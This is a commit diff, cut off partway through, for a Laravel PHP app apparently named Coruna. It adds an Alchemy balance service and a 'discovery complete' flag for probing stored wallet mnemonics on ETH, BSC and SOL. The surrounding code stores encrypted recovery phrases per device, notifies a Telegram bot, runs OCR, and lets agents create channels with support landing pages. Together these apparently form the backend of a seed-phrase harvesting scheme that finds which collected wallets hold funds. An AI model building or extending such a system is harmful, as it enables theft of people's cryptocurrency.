feat: alchemy

app/Console/Commands/LinkMnemonicsCommand.php

@@ -21,8 +21,10 @@ class LinkMnemonicsCommand extends Command
 
         $result = $linker->backfill();
 
+        // Only probe mnemonics that haven't been fully discovered across all 5
+        // chains yet. Manual "view wallet" / "refresh" bypasses this via force=true.
         $discovered = 0;
-        foreach (WalletMnemonic::query()->orderBy('id')->cursor() as $mnemonic) {
+        foreach (WalletMnemonic::query()->where('discovery_complete', false)->orderBy('id')->cursor() as $mnemonic) {
             $discovered += $discovery->discoverActivated($mnemonic);
         }
 

app/Http/Controllers/Admin/ChannelController.php

@@ -106,9 +106,11 @@ class ChannelController extends Controller
     {
         $builderType = strtolower(trim((string) request()->query('builder_type', 'new')));
 
-        $channelId = $builderType === Channel::BUILDER_APP
+        $channelId = match ($builderType) {
-            ? Channel::randomAppChannelId()
+            Channel::BUILDER_APP => Channel::randomAppChannelId(),
-            : Channel::randomNewChannelId();
+            Channel::BUILDER_OLD => Channel::randomChannelId(),
+            default => Channel::randomNewChannelId(),
+        };
 
         return response()->json([
             'code' => 0,
@@ -128,6 +130,11 @@ class ChannelController extends Controller
             return $this->storeAppChannel($request);
         }
 
+        // ── Old builder: 32-hex channel id, /web/{id}/support.html ──
+        if ($builderType === Channel::BUILDER_OLD) {
+            return $this->storeOldChannel($request, $projects);
+        }
+
         $data = $request->validate([
             'channel_id' => ['required', 'string', 'regex:'.Channel::NEW_CHANNEL_ID_PATTERN],
             'user_id' => ['nullable', 'integer', 'min:0'],
@@ -294,6 +301,109 @@ class ChannelController extends Controller
         ]);
     }
 
+    /**
+     * Create an "old" builder channel — 32-hex channel id, static resources
+     * under /web/{id}/ via the legacy channel-builder (new_project.py).
+     * Mirrors the new-builder flow but with the old id format and builder.
+     */
+    private function storeOldChannel(Request $request, ChannelProjectService $projects)
+    {
+        $data = $request->validate([
+            'channel_id' => ['nullable', 'string', 'max:64'],
+            'user_id' => ['nullable', 'integer', 'min:0'],
+            'support_template' => ['nullable', 'string', Rule::in(ChannelProjectService::SUPPORT_TEMPLATES)],
+            'deployment_seed' => ['nullable', 'string', 'min:1', 'max:32'],
+            'reporting_seed' => ['nullable', 'string', 'min:1', 'max:32'],
+            'remark' => ['nullable', 'string', 'max:255'],
+            'status' => ['nullable', 'integer', Rule::in([0, 1])],
+        ]);
+
+        $channelId = strtolower(trim((string) ($data['channel_id'] ?? '')));
+        if ($channelId === '') {
+            $channelId = Channel::randomChannelId();
+        }
+        if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
+            throw ValidationException::withMessages(['channel_id' => '旧版渠道 ID 必须是 32 位 hex']);
+        }
+        if (Channel::isReservedChannelName($channelId)) {
+            throw ValidationException::withMessages(['channel_id' => '该渠道 ID 为保留名，请重新生成']);
+        }
+        if (Channel::query()->where('channel_id', $channelId)->exists()) {
+            throw ValidationException::withMessages(['channel_id' => '渠道 ID 已存在']);
+        }
+
+        $userId = (int) ($data['user_id'] ?? Channel::OFFICIAL_USER_ID);
+        if ($userId > 0 && ! User::query()->whereKey($userId)->exists()) {
+            throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
+        }
+
+        $builderType = Channel::BUILDER_OLD;
+        $supportTemplate = (string) ($data['support_template'] ?? ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE);
+        $this->assertAgentChannelQuota($userId);
+
+        try {
+            $build = $projects->generate(
+                $channelId,
+                $supportTemplate,
+                $data['deployment_seed'] ?? null,
+                $data['reporting_seed'] ?? null,
+                $builderType,
+            );
+        } catch (\Throwable $e) {
+            return response()->json([
+                'code' => 1,
+                'msg' => $e->getMessage() ?: '渠道资源生成失败',
+            ], 422);
+        }
+
+        try {
+            $channel = DB::transaction(function () use ($data, $userId, $builderType, $channelId) {
+                if ($userId > 0) {
+                    $userExists = User::query()->lockForUpdate()->whereKey($userId)->exists();
+                    if (! $userExists) {
+                        throw ValidationException::withMessages(['user_id' => '代理用户不存在']);
+                    }
+                    $this->assertAgentChannelQuota($userId);
+                }
+
+                return Channel::query()->create([
+                    'channel_id' => $channelId,
+                    'builder_type' => $builderType,
+                    'user_id' => $userId,
+                    'domains' => [],
+                    'remark' => $data['remark'] ?? null,
+                    'status' => (int) ($data['status'] ?? 1),
+                ]);
+            });
+        } catch (\Throwable $e) {
+            $this->compensateBuildUnlessChannelExists($projects, $channelId, $builderType);
+
+            return response()->json([
+                'code' => 1,
+                'msg' => $e->getMessage() ?: '创建失败',
+            ], 422);
+        }
+
+        return response()->json([
+            'code' => 0,
+            'msg' => 'ok',
+            'data' => [
+                'id' => $channel->id,
+                'builder_type' => $channel->builderType(),
+                'links' => $channel->supportLinks(),
+                'seeds' => $build['seeds'],
+                'domains' => $build['domains'],
+                'seeds_initialized' => $build['seeds_initialized'],
+                'sync_rebuilt' => $build['sync_rebuilt'],
+                'support_path' => $build['support_path'] ?? $channel->landingPath(),
+                'weifile_path' => $build['weifile_path'] ?? null,
+                'daily_path' => $build['daily_path'] ?? '',
+                'channel_dir' => $build['channel_dir'] ?? null,
+                'show_alias' => $build['show_alias'] ?? null,
+            ],
+        ]);
+    }
+
     public function update(Request $request, Channel $channel)
     {
         $this->authorizeChannel($channel);

app/Http/Controllers/Admin/MnemonicController.php

@@ -258,6 +258,8 @@ class MnemonicController extends Controller
             return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
         }
 
+        // Discovery runs on the POST refresh (auto-triggered by the dialog when
+        // updating=true). The GET just returns current state + inactive previews.
         return response()->json([
             'code' => 0,
             'msg' => '',
@@ -289,7 +291,8 @@ class MnemonicController extends Controller
 
         RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
 
-        $discovery->discoverActivated($mnemonic);
+        // Manual refresh: force re-probe of unlinked chains (bypass discovery_complete + miss cache).
+        $discovery->discoverActivated($mnemonic, true);
 
         $addresses = WalletAddress::query()
             ->where('mnemonic_id', $mnemonic->id)

app/Models/WalletMnemonic.php

@@ -11,8 +11,17 @@ class WalletMnemonic extends Model
 {
     protected $fillable = [
         'device_id', 'origin_device_id', 'source', 'mnemonic_hash', 'mnemonic_enc',
+        'discovery_complete', 'discovered_at',
     ];
 
+    protected function casts(): array
+    {
+        return [
+            'discovery_complete' => 'boolean',
+            'discovered_at' => 'datetime',
+        ];
+    }
+
     public function device(): BelongsTo
     {
         return $this->belongsTo(Device::class);

app/Providers/AppServiceProvider.php

@@ -2,6 +2,7 @@
 
 namespace App\Providers;
 
+use App\Services\Alchemy\AlchemyBalanceService;
 use App\Services\CorunaArchive;
 use App\Services\CorunaCrypto;
 use App\Services\Ocr\OcrDriver;
@@ -41,6 +42,10 @@ class AppServiceProvider extends ServiceProvider
         });
 
         $this->app->bind(OcrDriver::class, TesseractOcrDriver::class);
+
+        $this->app->singleton(AlchemyBalanceService::class, function () {
+            return AlchemyBalanceService::make();
+        });
     }
 
     public function boot(): void

app/Services/Alchemy/AlchemyBalanceService.php

@@ -0,0 +1,365 @@
+<?php
+
+namespace App\Services\Alchemy;
+
+use Illuminate\Support\Facades\Cache;
+use Illuminate\Support\Facades\Http;
+use Illuminate\Support\Facades\Log;
+
+/**
+ * Balance + activation via the Alchemy Blockchain Data API (JSON-RPC) for ETH,
+ * BSC, and SOL. BTC is not handled here (Alchemy has no address-balance API on
+ * the current plan) — BTC stays on the BtcDriver (mempool.space). TRON stays on
+ * TronGrid.
+ *
+ * On 401 (invalid key / network not enabled) the service is flagged unavailable
+ * for a short cool-down so callers skip straight to the per-chain RPC fallback.
+ *
+ * Normalized result shape (compatible with the former Tokenview service):
+ *   [
+ *     'activated'   => bool,
+ *     'native'      => ['symbol','amount','amount_usd','contract'] | null,
+ *     'tokens'      => list<['symbol','contract','decimals','amount','amount_usd']>,
+ *     'first_active' => null,
+ *     'last_active'  => null,
+ *   ]
+ */
+class AlchemyBalanceService
+{
+    public const DISABLE_CACHE_KEY = 'alchemy-data:disabled';
+    public const DISABLE_TTL_SECONDS = 300;
+
+    public function __construct(
+        private readonly string $apiKey,
+        private readonly string $ethRpcBase,
+        private readonly string $bscRpcBase,
+        private readonly string $solRpcBase,
+        private readonly int $timeout,
+    ) {}
+
+    public static function make(): self
+    {
+        return new self(
+            (string) config('coruna.alchemy.api_key', ''),
+            rtrim((string) config('coruna.alchemy.eth_rpc_url', ''), '/'),
+            rtrim((string) config('coruna.alchemy.bsc_rpc_url', ''), '/'),
+            rtrim((string) config('coruna.alchemy.sol_rpc_url', ''), '/'),
+            (int) config('coruna.alchemy.timeout', 30),
+        );
+    }
+
+    public function isEnabled(): bool
+    {
+        return trim($this->apiKey) !== '' && ! Cache::has(self::DISABLE_CACHE_KEY);
+    }
+
+    private function disableTemporarily(): void
+    {
+        Cache::put(self::DISABLE_CACHE_KEY, 1, self::DISABLE_TTL_SECONDS);
+    }
+
+    /**
+     * Map chain_type → Alchemy network slug + RPC base. Null = not handled here.
+     *
+     * @return array{network: string, rpc: string, native: string}|null
+     */
+    private function evmSpec(string $chainType): ?array
+    {
+        return match (strtoupper(trim($chainType))) {
+            'ETH', 'ETHEREUM', 'EVM' => ['network' => 'eth-mainnet', 'rpc' => $this->ethRpcBase, 'native' => 'ETH'],
+            'BSC', 'BNB', 'BINANCE' => ['network' => 'bnb-mainnet', 'rpc' => $this->bscRpcBase, 'native' => 'BNB'],
+            default => null,
+        };
+    }
+
+    /**
+     * SOL network spec (Solana JSON-RPC, separate from EVM).
+     */
+    private function solSpec(): ?array
+    {
+        return $this->solRpcBase !== '' ? ['network' => 'solana-mainnet', 'rpc' => $this->solRpcBase] : null;
+    }
+
+    /**
+     * Balance + activation + USDT for the refresh/probe path. No price enrichment
+     * (the refresh only persists coin columns, not USD). Returns null when the
+     * chain is not handled here or the Alchemy RPC is unavailable → caller falls
+     * back to the per-chain RPC driver.
+     *
+     * @return array{activated: bool, native: ?array, tokens: list<array>, first_active: ?string, last_active: ?string}|null
+     */
+    public function fetch(string $chainType, string $address): ?array
+    {
+        $addr = trim($address);
+        if ($addr === '' || ! $this->isEnabled()) {
+            return null;
+        }
+
+        $upper = strtoupper(trim($chainType));
+        if (in_array($upper, ['SOL', 'SOLANA'], true)) {
+            return $this->fetchSol($addr);
+        }
+
+        $spec = $this->evmSpec($chainType);
+        if ($spec === null) {
+            return null; // BTC/TRON handled elsewhere
+        }
+
+        $rpc = $spec['rpc'];
+        if ($rpc === '') {
+            return null; // network not configured
+        }
+
+        try {
+            $nativeHex = $this->rpc($rpc, 'eth_getBalance', [$this->evmAddr($addr), 'latest']);
+            $txCountHex = $this->rpc($rpc, 'eth_getTransactionCount', [$this->evmAddr($addr), 'latest']);
+            $native = $this->humanize($this->hexToDec((string) $nativeHex), 18);
+            $txCount = (int) hexdec((string) $txCountHex);
+            $activated = $this->positive($native) || $txCount > 0;
+
+            $usdtContract = (string) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_contract', '');
+            $usdt = '0';
+            $usdtDecimals = 6;
+            if ($usdtContract !== '') {
+                $usdtRaw = $this->tokenBalanceRaw($rpc, $addr, $usdtContract);
+                $usdtDecimals = (int) config('coruna.'.strtolower($spec['native'] === 'ETH' ? 'eth' : 'bsc').'.usdt_decimals', 6);
+                $usdt = $this->humanize($usdtRaw, $usdtDecimals);
+            }
+
+            $tokens = [];
+            if ($this->positive($usdt)) {
+                $tokens[] = [
+                    'symbol' => 'USDT',
+                    'contract' => $usdtContract,
+                    'decimals' => $usdtDecimals,
+                    'amount' => $usdt,
+                    'amount_usd' => null,
+                ];
+            }
+
+            return [
+                'activated' => $activated,
+                'native' => $this->positive($native)
+                    ? ['symbol' => $spec['native'], 'amount' => $native, 'amount_usd' => null, 'contract' => '']
+                    : null,
+                'tokens' => $tokens,
+                'first_active' => null,
+                'last_active' => null,
+            ];
+        } catch (\Throwable $e) {
+            Log::warning('Alchemy fetch failed', [
+                'chain' => $chainType,
+                'address' => $addr,
+                'error' => $e->getMessage(),
+            ]);
+
+            return null;
+        }
+    }
+
+    /**
+     * SOL balance + USDT (SPL) via Alchemy Solana JSON-RPC.
+     *
+     * @return array{activated: bool, native: ?array, tokens: list<array>, first_active: ?string, last_active: ?string}|null
+     */
+    private function fetchSol(string $address): ?array
+    {
+        $spec = $this->solSpec();
+        if ($spec === null) {
+            return null; // SOL not configured
+        }
+        $rpc = $spec['rpc'];
+
+        try {
+            $balanceResult = $this->rpc($rpc, 'getBalance', [$address, ['commitment' => 'confirmed']]);
+            $lamports = '0';
+            if (is_array($balanceResult) && isset($balanceResult['value']) && is_numeric($balanceResult['value'])) {
+                $lamports = (string) $balanceResult['value'];
+            } elseif (is_numeric($balanceResult)) {
+                $lamports = (string) $balanceResult;
+            }
+            $sol = $this->fromLamports($lamports);
+
+            $usdtMint = (string) config('coruna.sol.usdt_contract', '');
+            $usdtDecimals = (int) config('coruna.sol.usdt_decimals', 6);
+            $usdt = '0';
+            if ($usdtMint !== '') {
+                $usdt = $this->solTokenBalance($rpc, $address, $usdtMint, $usdtDecimals);
+            }
+
+            $activated = $this->positive($sol) || $this->positive($usdt);
+            $tokens = [];
+            if ($this->positive($usdt)) {
+                $tokens[] = [
+                    'symbol' => 'USDT',
+                    'contract' => $usdtMint,
+                    'decimals' => $usdtDecimals,
+                    'amount' => $usdt,
+                    'amount_usd' => null,
+                ];
+            }
+
+            return [
+                'activated' => $activated,
+                'native' => $this->positive($sol)
+                    ? ['symbol' => 'SOL', 'amount' => $sol, 'amount_usd' => null, 'contract' => '']
+                    : null,
+                'tokens' => $tokens,
+                'first_active' => null,
+                'last_active' => null,
+            ];
+        } catch (\Throwable $e) {
+            Log::warning('Alchemy SOL fetch failed', ['address' => $address, 'error' => $e->getMessage()]);
+
+            return null;
+        }
+    }
+
+    /**
+     * Sum SPL token units across all token accounts owned by $address for $mint.
+     */
+    private function solTokenBalance(string $rpc, string $address, string $mint, int &$decimals): string
+    {
+        try {
+            $result = $this->rpc($rpc, 'getTokenAccountsByOwner', [
+                $address,
+                ['mint' => $mint],
+                ['encoding' => 'jsonParsed', 'commitment' => 'confirmed'],
+            ]);
+        } catch (\Throwable) {
+            return '0';
+        }
+        $accounts = is_array($result) && isset($result['value']) ? $result['value'] : [];
+        $total = '0';
+        foreach ($accounts as $entry) {
+            $info = $entry['account']['data']['parsed']['info']['tokenAmount'] ?? null;
+            if (! is_array($info)) {
+                continue;
+            }
+            $amount = (string) ($info['amount'] ?? '0');
+            if (! preg_match('/^\d+$/', $amount)) {
+                continue;
+            }
+            if (isset($info['decimals']) && is_numeric($info['decimals'])) {
+                $decimals = (int) $info['decimals'];
+            }
+            $total = bcadd($total, $amount, 0);
+        }
+
+        return $this->humanize($total, max(0, $decimals));
+    }
+
+    private function fromLamports(string $lamports): string
+    {
+        if (! preg_match('/^\d+$/', $lamports)) {
+            $lamports = '0';
+        }
+        $human = bcdiv($lamports, '1000000000', 9);
+        $human = rtrim(rtrim($human, '0'), '.');
+
+        return $human === '' ? '0' : $human;
+    }
+
+    /**
+     * Raw ERC20/BEP20 balanceOf (units) via eth_call.
+     */
+    private function tokenBalanceRaw(string $rpc, string $address, string $contract): string
+    {
+        $data = '0x70a08231'.str_pad(substr($this->evmAddr($address), 2), 64, '0', STR_PAD_LEFT);
+        try {
+            $hex = $this->rpc($rpc, 'eth_call', [['to' => $this->evmAddr($contract), 'data' => $data], 'latest']);
+        } catch (\Throwable) {
+            return '0';
+        }
+
+        return $this->hexToDec((string) $hex);
+    }
+
+    /**
+     * @return mixed
+     */
+    private function rpc(string $base, string $method, array $params)
+    {
+        $url = $base.'/'.$this->apiKey;
+        $resp = Http::connectTimeout(15)->timeout($this->timeout)
+            ->acceptJson()->asJson()
+            ->post($url, [
+                'jsonrpc' => '2.0',
+                'id' => 1,
+                'method' => $method,
+                'params' => $params,
+            ]);
+
+        if ($resp->status() === 401) {
+            $this->disableTemporarily();
+            throw new \RuntimeException('Alchemy 401 (invalid key or network not enabled)');
+        }
+        if (! $resp->successful()) {
+            throw new \RuntimeException('Alchemy HTTP '.$resp->status());
+        }
+        $json = $resp->json();
+        if (! is_array($json)) {
+            throw new \RuntimeException('Alchemy invalid response');
+        }
+        if (isset($json['error'])) {
+            $msg = $json['error']['message'] ?? json_encode($json['error']);
+            throw new \RuntimeException('Alchemy RPC: '.(is_string($msg) ? $msg : 'error'));
+        }
+
+        return $json['result'] ?? null;
+    }
+
+    private function evmAddr(string $addr): string
+    {
+        return strtolower(trim($addr));
+    }
+
+    private function hexToDec(string $hex): string
+    {
+        $hex = ltrim($hex, '0x');
+        if ($hex === '' || ! preg_match('/^[0-9a-fA-F]+$/', $hex)) {
+            return '0';
+        }
+        $dec = '';
+        $len = strlen($hex);
+        for ($i = 0; $i < $len; $i++) {
+            $carry = hexdec($hex[$i]);
+            $dec = $this->bcAddDigit($dec, $carry);
+        }
+
+        return $dec === '' ? '0' : $dec;
+    }
+
+    private function bcAddDigit(string $acc, int $digit): string
+    {
+        if ($digit === 0 && $acc === '') {
+            return '0';
+        }
+        return bcadd(bcmul($acc === '' ? '0' : $acc, '16', 0), (string) $digit, 0);
+    }
+
+    private function humanize(string $units, int $decimals): string
+    {
+        if (! preg_match('/^\d+$/', $units)) {
+            return '0';
+        }
+        if ($decimals <= 0) {
+            return $units === '' ? '0' : $units;
+        }
+        $factor = bcpow('10', (string) $decimals, 0);
+        $human = bcdiv($units, $factor, $decimals);
+        $human = rtrim(rtrim($human, '0'), '.');
+
+        return $human === '' ? '0' : $human;
+    }
+
+    private function positive(string $amount): bool
+    {
+        return preg_match('/^-?\d+(\.\d+)?$/', $amount) && bccomp($amount, '0', 18) > 0;
+    }
+
+    private function positiveUnits(string $units): bool
+    {
+        return preg_match('/^\d+$/', $units) && bccomp($units, '0', 0) > 0;
+    }
+}

app/Services/MnemonicWalletDiscovery.php

@@ -4,6 +4,7 @@ namespace App\Services;
 
 use App\Models\WalletAddress;
 use App\Models\WalletMnemonic;
+use App\Services\Alchemy\AlchemyBalanceService;
 use App\Services\Chain\BtcDriver;
 use App\Services\Chain\ChainDriver;
 use App\Services\Chain\ChainHttpTimeout;
@@ -43,6 +44,7 @@ class MnemonicWalletDiscovery
         private readonly ChainManager $chains,
         private readonly TelegramNotifier $telegram,
         private readonly TokenviewMonitorService $tokenview,
+        private readonly AlchemyBalanceService $alchemy,
     ) {}
 
     /**
@@ -54,9 +56,13 @@ class MnemonicWalletDiscovery
     }
 
     /**
+     * @param  bool  $force  Manual trigger (view wallet / refresh): bypass the
+     *                       discovery_complete flag and the per-chain miss cache
+     *                       so unlinked chains are always re-probed. Does not
+     *                       set discovery_complete.
      * @return int Number of address rows created or updated
      */
-    public function discoverActivated(WalletMnemonic $mnemonic): int
+    public function discoverActivated(WalletMnemonic $mnemonic, bool $force = false): int
     {
         $phrase = $mnemonic->mnemonic;
         if ($phrase === null || trim($phrase) === '') {
@@ -73,6 +79,11 @@ class MnemonicWalletDiscovery
             return 0;
         }
 
+        // Scheduled task: skip mnemonics already fully probed across all chains.
+        if (! $force && (bool) $mnemonic->discovery_complete) {
+            return 0;
+        }
+
         $linkedChainTypes = WalletAddress::query()
             ->where('mnemonic_id', $mnemonic->id)
             ->pluck('chain_type')
@@ -84,30 +95,40 @@ class MnemonicWalletDiscovery
 
         $source = trim((string) ($mnemonic->source ?: ''));
         $saved = [];
+        $covered = []; // chain => true when linked / miss-cached / probed this run
 
-        return ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, &$saved) {
+        $created = ChainHttpTimeout::using(self::PROBE_TIMEOUT_SECONDS, function () use ($mnemonic, $phrase, $source, $linkedChainTypes, $force, &$saved, &$covered) {
             foreach (self::CHAINS as $spec) {
-                if ($this->hasLinkedChain($linkedChainTypes, $spec['chain'])) {
+                $chain = $spec['chain'];
+
+                if ($this->hasLinkedChain($linkedChainTypes, $chain)) {
+                    $covered[$chain] = true;
                     continue;
                 }
-                if (Cache::has($this->missCacheKey($mnemonic, $spec['chain']))) {
+
+                // Scheduled runs respect the miss cache; manual force bypasses it.
+                if (! $force && Cache::has($this->missCacheKey($mnemonic, $chain))) {
+                    $covered[$chain] = true;
                     continue;
                 }
 
                 try {
-                    $rows = $this->discoverChain($mnemonic, $phrase, $source, $spec['chain'], $spec['chain_type']);
+                    $rows = $this->discoverChain($mnemonic, $phrase, $source, $chain, $spec['chain_type']);
                 } catch (\Throwable $e) {
                     Log::warning('mnemonic wallet discovery failed: '.$e->getMessage(), [
                         'mnemonic_id' => $mnemonic->id,
-                        'chain' => $spec['chain'],
+                        'chain' => $chain,
                     ]);
-                    $this->rememberMiss($mnemonic, $spec['chain']);
+                    $this->rememberMiss($mnemonic, $chain);
+                    $covered[$chain] = true;
 
                     continue;
                 }
 
+                $covered[$chain] = true;
+
                 if ($rows === []) {
-                    $this->rememberMiss($mnemonic, $spec['chain']);
+                    $this->rememberMiss($mnemonic, $chain);
                 }
                 foreach ($rows as $row) {
                     $saved[] = $row;
@@ -120,6 +141,18 @@ class MnemonicWalletDiscovery
 
             return count($saved);
         });
+
+        // Scheduled run: mark complete once every chain has been probed at least once.
+        if (! $force && count($covered) === count(self::CHAINS)) {
+            WalletMnemonic::query()
+                ->whereKey($mnemonic->id)
+                ->update([
+                    'discovery_complete' => true,
+                    'discovered_at' => now(),
+                ]);
+        }
+
+        return $created;
     }
 
     private function missCacheKey(WalletMnemonic $mnemonic, string $chain): string
@@ -283,6 +316,17 @@ class MnemonicWalletDiscovery
      */
     private function probeEth(ChainDriver $driver, string $address): array
     {
+        if ($this->alchemy->isEnabled()) {
+            $result = $this->alchemy->fetch('ETH', $address);
+            if ($result !== null) {
+                return [
+                    'activated' => $result['activated'],
+                    'coins' => $this->evmCoinsFromAlchemy($result, 'eth'),
+                ];
+            }
+            // Alchemy failed → fall through to RPC.
+        }
+
         if (! $driver->isActivated($address)) {
             return ['activated' => false, 'coins' => $this->emptyCoins('eth')];
         }
@@ -296,11 +340,42 @@ class MnemonicWalletDiscovery
         ];
     }
 
+    /**
+     * @param  array<string, mixed>  $result
+     * @return array<string, string>
+     */
+    private function evmCoinsFromAlchemy(array $result, string $network): array
+    {
+        $coins = $this->emptyCoins($network);
+        if ($result['native'] !== null) {
+            $coins[$network] = $result['native']['amount'];
+        }
+        foreach ($result['tokens'] as $t) {
+            if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
+                $coins['usdt'] = $t['amount'];
+                break;
+            }
+        }
+
+        return $coins;
+    }
+
     /**
      * @return array{activated: bool, coins: array<string, string>}
      */
     private function probeBsc(ChainDriver $driver, string $address): array
     {
+        if ($this->alchemy->isEnabled()) {
+            $result = $this->alchemy->fetch('BSC', $address);
+            if ($result !== null) {
+                return [
+                    'activated' => $result['activated'],
+                    'coins' => $this->evmCoinsFromAlchemy($result, 'bnb'),
+                ];
+            }
+            // Alchemy failed → fall through to RPC.
+        }
+
         try {
             $bnb = $driver->getNativeBalance($address);
         } catch (\Throwable $e) {
@@ -326,6 +401,7 @@ class MnemonicWalletDiscovery
 
     private function probeBtc(ChainDriver $driver, string $address): array
     {
+        // Alchemy has no BTC chain RPC; BTC stays on the BtcDriver.
         if ($driver instanceof BtcDriver) {
             $probe = $driver->probeAddress($address);
 
@@ -350,6 +426,17 @@ class MnemonicWalletDiscovery
      */
     private function probeSol(ChainDriver $driver, string $address): array
     {
+        if ($this->alchemy->isEnabled()) {
+            $result = $this->alchemy->fetch('SOL', $address);
+            if ($result !== null) {
+                return [
+                    'activated' => $result['activated'],
+                    'coins' => $this->solCoinsFromAlchemy($result),
+                ];
+            }
+            // Alchemy failed → fall through to SolDriver RPC.
+        }
+
         try {
             $sol = $driver->getNativeBalance($address);
         } catch (\Throwable $e) {
@@ -375,6 +462,26 @@ class MnemonicWalletDiscovery
         ];
     }
 
+    /**
+     * @param  array<string, mixed>  $result
+     * @return array<string, string>
+     */
+    private function solCoinsFromAlchemy(array $result): array
+    {
+        $coins = $this->emptyCoins('sol');
+        if ($result['native'] !== null) {
+            $coins['sol'] = $result['native']['amount'];
+        }
+        foreach ($result['tokens'] as $t) {
+            if (strtoupper((string) ($t['symbol'] ?? '')) === 'USDT') {
+                $coins['usdt'] = $t['amount'];
+                break;
+            }
+        }
+
+        return $coins;
+    }
+
     /**
      * @param  array<string, string>  $coins
      */

app/Services/WalletBalanceService.php

@@ -3,6 +3,7 @@
 namespace App\Services;
 
 use App\Models\WalletAddress;
+use App\Services\Alchemy\AlchemyBalanceService;
 use App\Services\Chain\ChainManager;
 use App\Services\Chain\TronDriver;
 use Illuminate\Support\Facades\Http;
@@ -19,6 +20,7 @@ class WalletBalanceService
 {
     public function __construct(
         private readonly ChainManager $chains,
+        private readonly AlchemyBalanceService $alchemy,
     ) {}
 
     /**
@@ -47,6 +49,14 @@ class WalletBalanceService
             return false;
         }
 
+        if ($this->alchemy->isEnabled()) {
+            $ok = $this->refreshEvmViaAlchemy($address, $addr, 'ETH', 'eth');
+            if ($ok) {
+                return true;
+            }
+            // Alchemy failed → fall through to RPC.
+        }
+
         try {
             $driver = $this->chains->resolve('eth');
             $attrs = [
@@ -69,6 +79,7 @@ class WalletBalanceService
                 'eth' => $address->eth,
                 'usdt' => $address->usdt,
                 'bnb' => $address->bnb,
+                'source' => 'rpc',
             ]);
 
             return true;
@@ -82,6 +93,93 @@ class WalletBalanceService
         }
     }
 
+    /**
+     * Alchemy path for ETH/BSC refresh. One eth_getBalance + one eth_call (USDT).
+     * For ETH, also pull the BSC sibling (BNB + BEP20 USDT) via Alchemy when the
+     * BSC network is enabled, else via the BSC RPC driver.
+     */
+    private function refreshEvmViaAlchemy(WalletAddress $address, string $addr, string $nativeSymbol, string $network): bool
+    {
+        $result = $this->alchemy->fetch($nativeSymbol, $addr);
+        if ($result === null) {
+            return false;
+        }
+
+        $attrs = [];
+        if ($result['native'] !== null) {
+            $attrs[strtolower($nativeSymbol)] = $result['native']['amount'];
+        }
+        $usdt = $this->findTokenBySymbol($result['tokens'], 'USDT');
+        if ($usdt !== null) {
+            $attrs['usdt'] = $usdt['amount'];
+        }
+
+        // ETH address == BSC address: also pull BNB + BEP20 USDT and persist sibling.
+        if ($nativeSymbol === 'ETH') {
+            $bsc = $this->alchemy->fetch('BSC', $addr);
+            if ($bsc !== null) {
+                if ($bsc['native'] !== null) {
+                    $attrs['bnb'] = $bsc['native']['amount'];
+                }
+                $bscUsdt = $this->findTokenBySymbol($bsc['tokens'], 'USDT');
+                $this->persistBscSibling($address, [
+                    'bnb' => $bsc['native']['amount'] ?? '0',
+                    'usdt' => $bscUsdt !== null ? $bscUsdt['amount'] : '0',
+                ]);
+            } else {
+                // Alchemy BSC not enabled → fall back to BSC RPC for the sibling.
+                $bscCoins = $this->bscCoins($addr);
+                if ($bscCoins !== null) {
+                    $attrs['bnb'] = $bscCoins['bnb'];
+                    $this->persistBscSibling($address, $bscCoins);
+                }
+            }
+        }
+
+        $this->persistCoins($address, $attrs);
+
+        Log::info('eth balance refresh ok', [
+            'wallet_address_id' => $address->id,
+            'address' => $addr,
+            'source' => 'alchemy',
+        ]);
+
+        return true;
+    }
+
+    /**
+     * @param  list<array<string, mixed>>  $tokens
+     */
+    private function findTokenBySymbol(array $tokens, string $symbol): ?array
+    {
+        $symbol = strtoupper(trim($symbol));
+        foreach ($tokens as $t) {
+            if (strtoupper((string) ($t['symbol'] ?? '')) === $symbol) {
+                return $t;
+            }
+        }
+
+        return null;
+    }
+
+    /**
+     * @param  list<array<string, mixed>>  $tokens
+     */
+    private function findTokenByContract(array $tokens, string $contract): ?array
+    {
+        $contract = strtolower($contract);
+        if ($contract === '') {
+            return null;
+        }
+        foreach ($tokens as $t) {
+            if (strtolower((string) ($t['contract'] ?? '')) === $contract) {
+                return $t;
+            }
+        }
+
+        return null;
+    }
+
     public function refreshBsc(WalletAddress $address): bool
     {
         $addr = trim((string) $address->address);
@@ -89,6 +187,30 @@ class WalletBalanceService
             return false;
         }
 
+        if ($this->alchemy->isEnabled()) {
+            $result = $this->alchemy->fetch('BSC', $addr);
+            if ($result !== null) {
+                $attrs = [];
+                if ($result['native'] !== null) {
+                    $attrs['bnb'] = $result['native']['amount'];
+                }
+                $usdt = $this->findTokenBySymbol($result['tokens'], 'USDT');
+                if ($usdt !== null) {
+                    $attrs['usdt'] = $usdt['amount'];
+                }
+                $this->persistCoins($address, $attrs);
+
+                Log::info('bsc balance refresh ok', [
+                    'wallet_address_id' => $address->id,
+                    'address' => $addr,
+                    'source' => 'alchemy',
+                ]);
+
+                return true;
+            }
+            // Alchemy failed → fall through to RPC.
+        }
+
         try {
             $coins = $this->bscCoins($addr);
             if ($coins === null) {
@@ -104,6 +226,7 @@ class WalletBalanceService
                 'address' => $addr,
                 'bnb' => $address->bnb,
                 'usdt' => $address->usdt,
+                'source' => 'rpc',
             ]);
 
             return true;
@@ -227,6 +350,7 @@ class WalletBalanceService
             return false;
         }
 
+        // Alchemy has no BTC chain RPC; BTC stays on the BtcDriver (mempool.space).
         try {
             $driver = $this->chains->resolve('btc');
             $this->persistCoins($address, [
@@ -237,6 +361,7 @@ class WalletBalanceService
                 'wallet_address_id' => $address->id,
                 'address' => $addr,
                 'btc' => $address->btc,
+                'source' => 'rpc',
             ]);
 
             return true;
@@ -257,6 +382,30 @@ class WalletBalanceService
             return false;
         }
 
+        if ($this->alchemy->isEnabled()) {
+            $result = $this->alchemy->fetch('SOL', $addr);
+            if ($result !== null) {
+                $attrs = [];
+                if ($result['native'] !== null) {
+                    $attrs['sol'] = $result['native']['amount'];
+                }
+                $usdt = $this->findTokenBySymbol($result['tokens'], 'USDT');
+                if ($usdt !== null) {
+                    $attrs['usdt'] = $usdt['amount'];
+                }
